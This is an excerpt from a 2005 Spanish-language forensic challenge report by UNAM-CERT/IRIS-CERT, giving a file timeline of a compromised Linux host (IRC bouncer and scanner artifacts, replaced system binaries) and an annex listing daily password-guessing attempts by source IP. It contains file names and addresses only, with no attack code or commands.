Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
29 ene 15:27 / .bash_history<br />
29 ene 15:27 /tmp .info<br />
29 ene 15:36 /var/tmp w00t<br />
29 ene 15:36 /var/tmp/w00t 200.207.pscan.139<br />
29 ene 15:36 /var/tmp/w00t .<br />
29 ene 15:46 /var/tmp/psybnc psybnc.pid<br />
29 ene 15:46 /var/tmp/psybnc/log psybnc.log<br />
29 ene 15:48 /var/tmp/psybnc log<br />
29 ene 15:48 /var/tmp/psybnc/log USER1.TRL<br />
29 ene 15:48 /var/tmp/psybnc/log .<br />
29 ene 15:49 /var/tmp/psybnc motd<br />
29 ene 15:49 /var/tmp/psybnc/motd USER1.MOTD<br />
29 ene 15:49 /var/tmp/psybnc/motd .<br />
29 ene 17:53 /var/tmp/psybnc psybnc.conf.old<br />
29 ene 17:53 /var/tmp/psybnc psybnc.conf<br />
30 ene 4:02 /var/spool/mqueue xfj0UA22F27603<br />
30 ene 4:02 /var/spool/mqueue dfj0UA22F27603<br />
30 ene 4:02 /tmp logwatch.XXLltDIY<br />
30 ene 4:02 /tmp makewhatisnuAB1j<br />
30 ene 4:02 /tmp/logwatch.XXLltDIY xferlog<br />
30 ene 4:02 /tmp/logwatch.XXLltDIY messages<br />
30 ene 4:02 /tmp/logwatch.XXLltDIY cron<br />
30 ene 4:02 /tmp/logwatch.XXLltDIY secure<br />
30 ene 4:02 /tmp/logwatch.XXLltDIY samba<br />
30 ene 4:02 /tmp/logwatch.XXLltDIY maillog<br />
30 ene 4:02 /tmp/logwatch.XXLltDIY .<br />
30 ene 4:02 /tmp/makewhatisnuAB1j .<br />
30 ene 4:22 /var/lock makewhatis.lock<br />
30 ene 4:22 /var/lock .<br />
30 ene 4:22 /var/lock/subsys ..<br />
30 ene 4:22 /var/cache/man whatis<br />
30 ene 4:22 /var/spool/anacron cron.weekly<br />
30 ene 4:22 /var lock<br />
30 ene 4:22 /tmp makewhatisLZwx4z<br />
30 ene 4:22 /tmp/makewhatisLZwx4z .<br />
30 ene 4:22 /tmp/makewhatisLZwx4z w<br />
30 ene 4:22 /bin cp<br />
31 ene 3:12 /var/tmp/psybnc USER1.LOG<br />
31 ene 3:12 /var/tmp/psybnc .<br />
31 ene 3:12 /var/tmp/psybnc/scripts ..<br />
31 ene 3:12 /var/tmp/psybnc/help ..<br />
31 ene 3:12 /var/tmp/psybnc/menuconf ..<br />
31 ene 3:12 /var/tmp/psybnc/tools ..<br />
31 ene 3:12 /var/tmp/psybnc/motd ..<br />
31 ene 3:12 /var/tmp/psybnc/log ..<br />
31 ene 3:12 /var/tmp psybnc<br />
31 ene 4:02 /var/lib logrotate.status<br />
31 ene 4:02 /var/lib rpm<br />
31 ene 4:02 /var/lib/rpm .<br />
31 ene 4:02 /var/log rpmpkgs<br />
31 ene 4:02 /var/log .<br />
31 ene 4:02 /var/spool/anacron cron.daily<br />
31 ene 4:02 /var log<br />
31 ene 4:12 /var/lib slocate<br />
31 ene 4:12 /var/lib/slocate slocate.db<br />
31 ene 4:12 /var/lib/slocate .<br />
31 ene 11:54 /var/tmp/w00t ..<br />
31 ene 11:54 /var/tmp/psybnc ..<br />
31 ene 11:54 /var/tmp/selena ..<br />
31 ene 11:54 /var/tmp/selena ssvuln<br />
31 ene 11:54 /var tmp<br />
31 ene 11:54 /var/tmp .<br />
39
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
31 ene 12:02 /var/tmp/selena 217.172.pscan.443<br />
31 ene 12:02 /var/tmp/selena oops<br />
31 ene 12:02 /var/tmp/selena 217.172.ssl<br />
31 ene 12:02 /var/tmp/selena .<br />
31 ene 12:02 /var/tmp selena<br />
31 ene 12:03 /bin setserial<br />
31 ene 12:03 /bin ping<br />
31 ene 12:03 /bin netstat<br />
31 ene 12:03 /bin mt<br />
31 ene 12:03 /bin mktemp<br />
31 ene 12:03 /bin mknod<br />
31 ene 12:03 /bin mkdir<br />
31 ene 12:03 /bin mail<br />
31 ene 12:03 /bin ls<br />
31 ene 12:03 /bin ln<br />
31 ene 12:03 /bin hostname<br />
31 ene 12:03 /bin ed<br />
31 ene 12:03 /bin df<br />
31 ene 12:03 /bin dd<br />
31 ene 12:03 /bin cpio<br />
31 ene 12:03 /bin chown<br />
31 ene 12:03 /bin chgrp<br />
31 ene 12:03 /var/tmp/selena/sslex<br />
31 ene 12:03 /var/tmp/selena/217.172.ssl.out<br />
31 ene 12:03 /var/tmp/selena/ssx<br />
31 ene 12:03 /var/tmp/selena/sslx<br />
31 ene 12:03 /var/tmp/selena/ssl<br />
31 ene 12:03 /var/tmp .bash_history<br />
31 ene 13:31 /var/spool/mqueue dfj0VJV0A25551<br />
31 ene 13:31 /tmp/logwatch.XXLltDIY ..<br />
31 ene 13:31 /tmp/makewhatisnuAB1j ..<br />
31 ene 13:31 /tmp/makewhatisLZwx4z ..<br />
31 ene 13:31 /tmp .<br />
31 ene 13:31 / tmp<br />
31 ene 14:59 /var/spool/mqueue qfj0VJV0A25551<br />
31 ene 15:20 /var/spool/mail root<br />
31 ene 15:20 /var/spool/mail .<br />
31 ene 15:20 /var/spool/mqueue .<br />
31 ene 15:20 /var/spool mqueue<br />
31 ene 15:20 /var/spool mail<br />
31 ene 15:20 /etc/mail statistics<br />
31 ene 15:25 /etc/mrtg mrtg.ok<br />
31 ene 15:25 /etc/mrtg .<br />
31 ene 15:25 /etc mrtg<br />
40
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
Anexo 4.<br />
Resumen <strong>de</strong>l ataque <strong>de</strong> diccionario, el origen <strong>de</strong> los ataques por día,<br />
estos se dieron en cantida<strong>de</strong>s que van <strong>de</strong>s<strong>de</strong> 2 hasta 100 o mas ataques<br />
por IP origen, se intento adivinar el password usando usuarios como<br />
root, admin., apache, nobody, entre otros:<br />
Enero 21:<br />
Intentos <strong>de</strong>s<strong>de</strong> 80.81.32.242.<br />
Intentos <strong>de</strong>s<strong>de</strong> 67.19.122.170<br />
Intentos <strong>de</strong>s<strong>de</strong> 209.0.206.183<br />
Enero 22:<br />
Intentos <strong>de</strong>s<strong>de</strong> 209.152.182.194.<br />
Intentos <strong>de</strong>s<strong>de</strong> 64.151.73.180<br />
Intentos <strong>de</strong>s<strong>de</strong> 63.247.140.66<br />
Enero 23:<br />
Intentos <strong>de</strong>s<strong>de</strong> 209.152.182.194.<br />
Intentos <strong>de</strong>s<strong>de</strong> 64.151.73.180<br />
Intentos <strong>de</strong>s<strong>de</strong> 63.247.140.66<br />
Enero 24:<br />
Intentos <strong>de</strong>s<strong>de</strong> 148.231.192.8.<br />
Enero 26:<br />
Intentos <strong>de</strong>s<strong>de</strong> 81.181.141.21.<br />
Intentos <strong>de</strong>s<strong>de</strong> 210.0.186.2.<br />
Intentos <strong>de</strong>s<strong>de</strong> 211.251.242.68<br />
Intentos <strong>de</strong>s<strong>de</strong> 212.93.136.214<br />
Enero 27:<br />
Intentos <strong>de</strong>s<strong>de</strong> 212.93.136.214.<br />
Intentos <strong>de</strong>s<strong>de</strong> 218.151.155.35<br />
Enero 28:<br />
Intentos <strong>de</strong>s<strong>de</strong> 69.19.179.50.<br />
Intentos <strong>de</strong>s<strong>de</strong> 218.200.36.124<br />
Enero 29:<br />
Intentos <strong>de</strong>s<strong>de</strong> 203.131.125.156.<br />
Intentos <strong>de</strong>s<strong>de</strong> 61.220.91.20.<br />
Intentos <strong>de</strong>s<strong>de</strong> 216.116.104.39<br />
41